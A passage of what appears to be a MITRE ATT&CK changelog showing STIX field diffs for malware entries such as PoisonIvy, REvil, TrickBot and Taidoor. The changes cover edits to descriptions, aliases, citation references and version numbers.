| external_references[10]['description'] | Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018. | Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015. |
| external_references[10]['url'] | http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf | http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/ |
| x_mitre_version | 2.1 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Novetta-Axiom', 'description': 'Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.', 'url': 'http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf'} | |
| external_references | {'source_name': 'FireEye Clandestine Fox Part 2', 'description': 'Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.', 'url': 'https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html'} | |
| external_references | {'source_name': 'Lastline PlugX Analysis', 'description': 'Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.', 'url': 'http://labs.lastline.com/an-analysis-of-plugx'} | |
| x_mitre_aliases | Thoper | |
| x_mitre_aliases | TVT |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [PoisonIvy](https://attack.mitre.org/software/S0012) is a po | t | 1 | [PoisonIvy](https://attack.mitre.org/software/S0012) is a po |
| > | pular remote access tool (RAT) that has been used by many gr | > | pular remote access tool (RAT) that has been used by many gr | ||
| > | oups. (Citation: FireEye Poison Ivy) (Citation: Symantec Eld | > | oups.(Citation: FireEye Poison Ivy)(Citation: Symantec Elder | ||
| > | erwood Sept 2012) (Citation: Symantec Darkmoon Aug 2005) | > | wood Sept 2012)(Citation: Symantec Darkmoon Aug 2005) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 13:56:40.675000+00:00 | 2022-04-15 15:23:57.525000+00:00 |
| description | [PoisonIvy](https://attack.mitre.org/software/S0012) is a popular remote access tool (RAT) that has been used by many groups. (Citation: FireEye Poison Ivy) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Darkmoon Aug 2005) | [PoisonIvy](https://attack.mitre.org/software/S0012) is a popular remote access tool (RAT) that has been used by many groups.(Citation: FireEye Poison Ivy)(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Darkmoon Aug 2005) |
| external_references[1]['source_name'] | PoisonIvy | Poison Ivy |
| external_references[2]['source_name'] | Poison Ivy | PoisonIvy |
| external_references[2]['description'] | (Citation: FireEye Poison Ivy) (Citation: Symantec Darkmoon Sept 2014) | (Citation: FireEye Poison Ivy)(Citation: Symantec Darkmoon Sept 2014) |
| external_references[3]['source_name'] | Darkmoon | Breut |
| external_references[3]['description'] | (Citation: Symantec Darkmoon Sept 2014) | (Citation: Novetta-Axiom) |
| external_references[4]['source_name'] | FireEye Poison Ivy | Darkmoon |
| external_references[4]['description'] | FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014. | (Citation: Symantec Darkmoon Sept 2014) |
| external_references[5]['source_name'] | Symantec Elderwood Sept 2012 | FireEye Poison Ivy |
| external_references[5]['description'] | O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018. | FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014. |
| external_references[5]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf |
| external_references[7]['source_name'] | Symantec Darkmoon Sept 2014 | Novetta-Axiom |
| external_references[7]['description'] | Payet, L. (2014, September 19). Life on Mars: How attackers took advantage of hope for alien existance in new Darkmoon campaign. Retrieved September 13, 2018. | Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014. |
| external_references[7]['url'] | https://www.symantec.com/connect/blogs/life-mars-how-attackers-took-advantage-hope-alien-existance-new-darkmoon-campaign | http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Symantec Elderwood Sept 2012', 'description': "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", 'url': 'https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf'} | |
| external_references | {'source_name': 'Symantec Darkmoon Sept 2014', 'description': 'Payet, L. (2014, September 19). Life on Mars: How attackers took advantage of hope for alien existance in new Darkmoon campaign. Retrieved September 13, 2018.', 'url': 'https://www.symantec.com/connect/blogs/life-mars-how-attackers-took-advantage-hope-alien-existance-new-darkmoon-campaign'} | |
| x_mitre_aliases | Breut |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-22 17:54:15.287000+00:00 | 2022-02-24 21:03:18.159000+00:00 |
| external_references[1]['source_name'] | Palo Alto Gamaredon Feb 2017 | Pterodo |
| external_references[1]['description'] | Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017. | (Citation: Symantec Shuckworm January 2022)(Citation: Secureworks IRON TILDEN Profile) |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Palo Alto Gamaredon Feb 2017', 'description': 'Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.', 'url': 'https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/'} | |
| external_references | {'source_name': 'Symantec Shuckworm January 2022', 'description': 'Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022.', 'url': 'https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine'} | |
| external_references | {'source_name': 'Secureworks IRON TILDEN Profile', 'description': 'Secureworks CTU. (n.d.). IRON TILDEN. Retrieved February 24, 2022.', 'url': 'https://www.secureworks.com/research/threat-profiles/iron-tilden'} | |
| x_mitre_aliases | Pterodo |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [REvil](https://attack.mitre.org/software/S0496) is a ransom | t | 1 | [REvil](https://attack.mitre.org/software/S0496) is a ransom |
| > | ware family that has been linked to the [GOLD SOUTHFIELD](ht | > | ware family that has been linked to the [GOLD SOUTHFIELD](ht | ||
| > | tps://attack.mitre.org/groups/G0115) group and operated as r | > | tps://attack.mitre.org/groups/G0115) group and operated as r | ||
| > | ansomware-as-a-service (RaaS) since at least April 2019. [RE | > | ansomware-as-a-service (RaaS) since at least April 2019. [RE | ||
| > | vil](https://attack.mitre.org/software/S0496) is highly conf | > | vil](https://attack.mitre.org/software/S0496), which as been | ||
| > | igurable and shares code similarities with the GandCrab RaaS | > | used against organizations in the manufacturing, transporta | ||
| > | .(Citation: Secureworks REvil September 2019)(Citation: Inte | > | tion, and electric sectors, is highly configurable and share | ||
| > | l 471 REvil March 2020)(Citation: Group IB Ransomware May 20 | > | s code similarities with the GandCrab RaaS.(Citation: Secure | ||
| > | 20) | > | works REvil September 2019)(Citation: Intel 471 REvil March | ||
| > | 2020)(Citation: Group IB Ransomware May 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-05 15:52:54.596000+00:00 | 2022-04-21 01:01:16.684000+00:00 |
| description | [REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496) is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020) | [REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496), which as been used against organizations in the manufacturing, transportation, and electric sectors, is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020) |
| external_references[2]['description'] | (Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: G Data Sodinokibi June 2019)(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: McAfee REvil October 2019)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019) | (Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: G Data Sodinokibi June 2019)(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: McAfee REvil October 2019)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)(Citation: Tetra Defense Sodinokibi March 2020) |
| external_references[3]['source_name'] | Secureworks REvil September 2019 | Talos Sodinokibi April 2019 |
| external_references[3]['description'] | Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020. | Cadieux, P, et al (2019, April 30). Sodinokibi ransomware exploits WebLogic Server vulnerability. Retrieved August 4, 2020. |
| external_references[3]['url'] | https://www.secureworks.com/research/revil-sodinokibi-ransomware | https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html |
| external_references[4]['source_name'] | Intel 471 REvil March 2020 | Secureworks REvil September 2019 |
| external_references[4]['description'] | Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020. | Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020. |
| external_references[4]['url'] | https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/ | https://www.secureworks.com/research/revil-sodinokibi-ransomware |
| external_references[5]['source_name'] | Group IB Ransomware May 2020 | Cylance Sodinokibi July 2019 |
| external_references[5]['description'] | Group IB. (2020, May). Ransomware Uncovered: Attackers’ Latest Methods. Retrieved August 5, 2020. | Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020. |
| external_references[5]['url'] | https://www.group-ib.com/whitepapers/ransomware-uncovered.html | https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html |
| external_references[6]['source_name'] | Kaspersky Sodin July 2019 | Group IB Ransomware May 2020 |
| external_references[6]['description'] | Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020. | Group IB. (2020, May). Ransomware Uncovered: Attackers’ Latest Methods. Retrieved August 5, 2020. |
| external_references[6]['url'] | https://securelist.com/sodin-ransomware/91473/ | https://www.group-ib.com/whitepapers/ransomware-uncovered.html |
| external_references[8]['source_name'] | Cylance Sodinokibi July 2019 | Intel 471 REvil March 2020 |
| external_references[8]['description'] | Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020. | Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020. |
| external_references[8]['url'] | https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html | https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/ |
| external_references[9]['source_name'] | Secureworks GandCrab and REvil September 2019 | Kaspersky Sodin July 2019 |
| external_references[9]['description'] | Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020. | Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020. |
| external_references[9]['url'] | https://www.secureworks.com/blog/revil-the-gandcrab-connection | https://securelist.com/sodin-ransomware/91473/ |
| external_references[10]['source_name'] | Talos Sodinokibi April 2019 | McAfee Sodinokibi October 2019 |
| external_references[10]['description'] | Cadieux, P, et al (2019, April 30). Sodinokibi ransomware exploits WebLogic Server vulnerability. Retrieved August 4, 2020. | McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020. |
| external_references[10]['url'] | https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html | https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/ |
| external_references[11]['source_name'] | McAfee Sodinokibi October 2019 | Picus Sodinokibi January 2020 |
| external_references[11]['description'] | McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020. | Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020. |
| external_references[11]['url'] | https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/ | https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware |
| external_references[13]['source_name'] | Picus Sodinokibi January 2020 | Secureworks GandCrab and REvil September 2019 |
| external_references[13]['description'] | Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020. | Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020. |
| external_references[13]['url'] | https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware | https://www.secureworks.com/blog/revil-the-gandcrab-connection |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Tetra Defense Sodinokibi March 2020', 'description': 'Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020.', 'url': 'https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [SDBot](https://attack.mitre.org/software/S0461) is a backdo | t | 1 | [SDBbot](https://attack.mitre.org/software/S0461) is a backd |
| > | or with installer and loader components that has been used b | > | oor with installer and loader components that has been used | ||
| > | y [TA505](https://attack.mitre.org/groups/G0092) since at le | > | by [TA505](https://attack.mitre.org/groups/G0092) since at l | ||
| > | ast 2019.(Citation: Proofpoint TA505 October 2019)(Citation: | > | east 2019.(Citation: Proofpoint TA505 October 2019)(Citation | ||
| > | IBM TA505 April 2020) | > | : IBM TA505 April 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-17 19:40:20.251000+00:00 | 2021-03-29 20:35:47.468000+00:00 |
| name | SDBot | SDBbot |
| description | [SDBot](https://attack.mitre.org/software/S0461) is a backdoor with installer and loader components that has been used by [TA505](https://attack.mitre.org/groups/G0092) since at least 2019.(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020) | [SDBbot](https://attack.mitre.org/software/S0461) is a backdoor with installer and loader components that has been used by [TA505](https://attack.mitre.org/groups/G0092) since at least 2019.(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020) |
| x_mitre_aliases[0] | SDBot | SDBbot |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [SEASHARPEE](https://attack.mitre.org/software/S0185) is a W | t | 1 | [SEASHARPEE](https://attack.mitre.org/software/S0185) is a W |
| > | eb shell that has been used by [APT34](https://attack.mitre. | > | eb shell that has been used by [OilRig](https://attack.mitre | ||
| > | org/groups/G0057). (Citation: FireEye APT34 Webinar Dec 2017 | > | .org/groups/G0049). (Citation: FireEye APT34 Webinar Dec 201 | ||
| > | ) | > | 7) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:08:50.209000+00:00 | 2021-04-23 20:29:59.216000+00:00 |
| description | [SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell that has been used by [APT34](https://attack.mitre.org/groups/G0057). (Citation: FireEye APT34 Webinar Dec 2017) | [SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell that has been used by [OilRig](https://attack.mitre.org/groups/G0049). (Citation: FireEye APT34 Webinar Dec 2017) |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Taidoor](https://attack.mitre.org/software/S0011) is malwar | t | 1 | [Taidoor](https://attack.mitre.org/software/S0011) is a remo |
| > | e that has been used since at least 2010, primarily to targe | > | te access trojan (RAT) that has been used by Chinese governm | ||
| > | t Taiwanese government organizations. (Citation: TrendMicro | > | ent cyber actors to maintain access on victim networks.(Cita | ||
| > | Taidoor) | > | tion: CISA MAR-10292089-1.v2 TAIDOOR August 2021) [Taidoor]( | ||
| > | https://attack.mitre.org/software/S0011) has primarily been | ||||
| > | used against Taiwanese government organizations since at lea | ||||
| > | st 2010.(Citation: TrendMicro Taidoor) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:21:09.468000+00:00 | 2021-10-15 12:34:22.853000+00:00 |
| description | [Taidoor](https://attack.mitre.org/software/S0011) is malware that has been used since at least 2010, primarily to target Taiwanese government organizations. (Citation: TrendMicro Taidoor) | [Taidoor](https://attack.mitre.org/software/S0011) is a remote access trojan (RAT) that has been used by Chinese government cyber actors to maintain access on victim networks.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021) [Taidoor](https://attack.mitre.org/software/S0011) has primarily been used against Taiwanese government organizations since at least 2010.(Citation: TrendMicro Taidoor) |
| external_references[1]['source_name'] | TrendMicro Taidoor | CISA MAR-10292089-1.v2 TAIDOOR August 2021 |
| external_references[1]['description'] | Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014. | CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 – Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021. |
| external_references[1]['url'] | http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf | https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'TrendMicro Taidoor', 'description': 'Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.', 'url': 'http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf'} |
Current version: 2.0
Version changed from: 1.3 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [TrickBot](https://attack.mitre.org/software/S0266) is a Tro | t | 1 | [TrickBot](https://attack.mitre.org/software/S0266) is a Tro |
| > | jan spyware program that has mainly been used for targeting | > | jan spyware program written in C++ that first emerged in Sep | ||
| > | banking sites in United States, Canada, UK, Germany, Austral | > | tember 2016 as a possible successor to [Dyre](https://attack | ||
| > | ia, Austria, Ireland, London, Switzerland, and Scotland. Tri | > | .mitre.org/software/S0024). [TrickBot](https://attack.mitre. | ||
| > | ckBot first emerged in the wild in September 2016 and appear | > | org/software/S0266) was developed and initially used by [Wiz | ||
| > | s to be a successor to [Dyre](https://attack.mitre.org/softw | > | ard Spider](https://attack.mitre.org/groups/G0102) for targe | ||
| > | are/S0024). [TrickBot](https://attack.mitre.org/software/S02 | > | ting banking sites in North America, Australia, and througho | ||
| > | 66) is developed in the C++ programming language. (Citation: | > | ut Europe; it has since been used against all sectors worldw | ||
| > | S2 Grupo TrickBot June 2017) (Citation: Fidelis TrickBot Oc | > | ide as part of "big game hunting" ransomware campaigns.(Cita | ||
| > | t 2016) (Citation: IBM TrickBot Nov 2016) | > | tion: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBo | ||
| > | t Oct 2016)(Citation: IBM TrickBot Nov 2016)(Citation: Crowd | ||||
| > | Strike Wizard Spider October 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-17 15:06:16.817000+00:00 | 2021-10-01 14:19:20.660000+00:00 |
| description | [TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program that has mainly been used for targeting banking sites in United States, Canada, UK, Germany, Australia, Austria, Ireland, London, Switzerland, and Scotland. TrickBot first emerged in the wild in September 2016 and appears to be a successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) is developed in the C++ programming language. (Citation: S2 Grupo TrickBot June 2017) (Citation: Fidelis TrickBot Oct 2016) (Citation: IBM TrickBot Nov 2016) | [TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) was developed and initially used by [Wizard Spider](https://attack.mitre.org/groups/G0102) for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of "big game hunting" ransomware campaigns.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: IBM TrickBot Nov 2016)(Citation: CrowdStrike Wizard Spider October 2020) |
| external_references[7]['source_name'] | Trend Micro Totbrick Oct 2016 | CrowdStrike Wizard Spider October 2020 |
| external_references[7]['description'] | Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018. | Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021. |
| external_references[7]['url'] | https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n | https://www.crowdstrike.com/blog/wizard-spider-adversary-update/ |
| external_references[8]['source_name'] | TrendMicro Trickbot Feb 2019 | Trend Micro Totbrick Oct 2016 |
| external_references[8]['description'] | Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019. | Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018. |
| external_references[8]['url'] | https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/ | https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n |
| external_references[9]['source_name'] | Microsoft Totbrick Oct 2017 | TrendMicro Trickbot Feb 2019 |
| external_references[9]['description'] | Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018. | Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019. |
| external_references[9]['url'] | https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick | https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/ |
| x_mitre_version | 1.3 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Totbrick Oct 2017', 'description': 'Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.', 'url': 'https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick'} | |
| x_mitre_contributors | Daniyal Naeem, BT Security |
Current version: 3.0
Version changed from: 2.0 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Trojan.Karagany](https://attack.mitre.org/software/S0094) i | t | 1 | [Trojan.Karagany](https://attack.mitre.org/software/S0094) i |
| > | s a modular remote access tool used for recon and linked to | > | s a modular remote access tool used for recon and linked to | ||
| > | [Dragonfly](https://attack.mitre.org/groups/G0035) and [Drag | > | [Dragonfly](https://attack.mitre.org/groups/G0035). The sour | ||
| > | onfly 2.0](https://attack.mitre.org/groups/G0074). The sourc | > | ce code for [Trojan.Karagany](https://attack.mitre.org/softw | ||
| > | e code for [Trojan.Karagany](https://attack.mitre.org/softwa | > | are/S0094) originated from Dream Loader malware which was le | ||
| > | re/S0094) originated from Dream Loader malware which was lea | > | aked in 2010 and sold on underground forums. (Citation: Syma | ||
| > | ked in 2010 and sold on underground forums. (Citation: Syman | > | ntec Dragonfly)(Citation: Secureworks Karagany July 2019)(Ci | ||
| > | tec Dragonfly)(Citation: Secureworks Karagany July 2019)(Cit | > | tation: Dragos DYMALLOY ) | ||
| > | ation: Dragos DYMALLOY ) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 22:38:11.328000+00:00 | 2022-04-19 14:57:44.862000+00:00 |
| description | [Trojan.Karagany](https://attack.mitre.org/software/S0094) is a modular remote access tool used for recon and linked to [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). The source code for [Trojan.Karagany](https://attack.mitre.org/software/S0094) originated from Dream Loader malware which was leaked in 2010 and sold on underground forums. (Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)(Citation: Dragos DYMALLOY ) | [Trojan.Karagany](https://attack.mitre.org/software/S0094) is a modular remote access tool used for recon and linked to [Dragonfly](https://attack.mitre.org/groups/G0035). The source code for [Trojan.Karagany](https://attack.mitre.org/software/S0094) originated from Dream Loader malware which was leaked in 2010 and sold on underground forums. (Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)(Citation: Dragos DYMALLOY ) |
| external_references[3]['source_name'] | Symantec Dragonfly | Dragos DYMALLOY |
| external_references[3]['description'] | Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016. | Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020. |
| external_references[3]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf | https://www.dragos.com/threat/dymalloy/ |
| external_references[5]['source_name'] | Dragos DYMALLOY | Symantec Dragonfly |
| external_references[5]['description'] | Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020. | Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016. |
